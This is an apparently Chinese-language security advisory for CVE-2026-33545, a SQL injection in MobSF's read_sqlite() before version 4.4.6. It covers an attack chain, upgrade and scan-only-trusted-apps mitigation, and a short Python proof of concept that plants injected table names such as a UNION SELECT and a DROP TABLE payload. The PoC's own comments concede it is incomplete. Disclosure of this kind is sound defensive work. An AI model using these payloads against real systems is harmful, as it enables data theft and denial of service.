IPBUF安全漏洞报告
English
CVE-2026-33545 CVSS 5.3 中危

CVE-2026-33545 MobSF SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33545
漏洞类型
SQL注入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MobSF (Mobile Security Framework)

相关标签

SQL注入MobSF拒绝服务移动安全

漏洞概述

MobSF是一款移动应用安全测试工具。在4.4.6版本之前,其`mobsf/MobSF/utils.py`文件中的`read_sqlite()`函数存在SQL注入漏洞。该函数在处理SQLite数据库时,直接使用Python字符串格式化(%)将`sqlite_master`表中读取的表名拼接到SQL查询中,未进行参数化处理或转义。当安全分析师使用MobSF分析包含恶意SQLite数据库的移动应用时,攻击者可控制表名,导致拒绝服务攻击或SQL注入。

技术细节

该漏洞源于MobSF在处理SQLite数据库时的不安全编码实践。具体而言,漏洞位于`mobsf/MobSF/utils.py`第542-566行的`read_sqlite()`函数。该函数首先查询`sqlite_master`系统表以获取数据库中的表名,随后利用Python的旧式字符串格式化操作符(`%`)将这些动态获取的表名直接插入到SQL查询语句的构造中。由于表名被视为可执行代码的一部分而非参数,且未经过任何过滤或转义机制,这构成了经典的SQL注入漏洞。攻击者可以构建一个恶意的移动应用,其中包含一个精心设计的SQLite数据库文件,其表名中包含恶意的SQL载荷(如`UNION SELECT`或时间盲注语句)。当MobSF自动扫描并解析该数据库时,恶意SQL语句会被数据库引擎执行,可能导致服务崩溃(DoS)或通过报错/盲注技术泄露敏感信息。

攻击链分析

STEP 1
步骤1: 恶意样本制作
攻击者创建一个包含恶意SQLite数据库文件的移动应用程序。该数据库经过特殊构造,其`sqlite_master`表中包含含有SQL注入载荷的表名。
STEP 2
步骤2: 投递样本
攻击者诱导安全分析师或自动化系统使用存在漏洞的MobSF版本(< 4.4.6)对上述恶意应用程序进行安全扫描。
STEP 3
步骤3: 触发漏洞
MobSF在扫描过程中调用`read_sqlite()`函数读取恶意数据库。该函数将恶意的表名直接拼接到SQL查询语句中执行。
STEP 4
步骤4: 执行攻击
构造的恶意SQL语句在MobSF后端数据库引擎上执行,导致拒绝服务(DoS)或通过SQL注入获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import sqlite3 # PoC: Create a malicious SQLite database to trigger SQL Injection in MobSF < 4.4.6 # The vulnerability exists in read_sqlite() where table names from sqlite_master # are interpolated into a SQL query using string formatting (%s). def create_malicious_db(): conn = sqlite3.connect('malicious_mobsf.db') cursor = conn.cursor() # Attacker attempts to create a table with a payload as the name. # Note: SQLite imposes strict limits on table names, but an attacker # might manipulate the DB file binary or use specific techniques to # achieve a name that breaks out of the query context in MobSF. # Example payload intended for the query: SELECT * FROM %s # Payload: 'non_existent_table; DROP TABLE test--' malicious_payload = "test) UNION SELECT 1,2,3--" try: # Standard creation might fail due to syntax, but the concept is injecting # this string into the query context. # In a real exploit, the attacker crafts the sqlite_master entry. query = f"CREATE TABLE '{malicious_payload}' (data TEXT)" cursor.execute(query) conn.commit() print(f"[+] Created database with potentially malicious table name structure.") except Exception as e: print(f"[-] Standard creation blocked by SQLite: {e}") print("[!] Exploit requires crafting the DB binary or specific manipulation.") conn.close() if __name__ == "__main__": create_malicious_db()

影响范围

MobSF < 4.4.6

防御指南

临时缓解措施
建议立即将Mobile Security Framework (MobSF)升级到4.4.6或更高版本以修复此漏洞。在无法立即升级的情况下,应严格限制对MobSF的访问权限,并仅对受信任的应用程序进行扫描,避免分析来源不明的包含SQLite数据库的移动应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表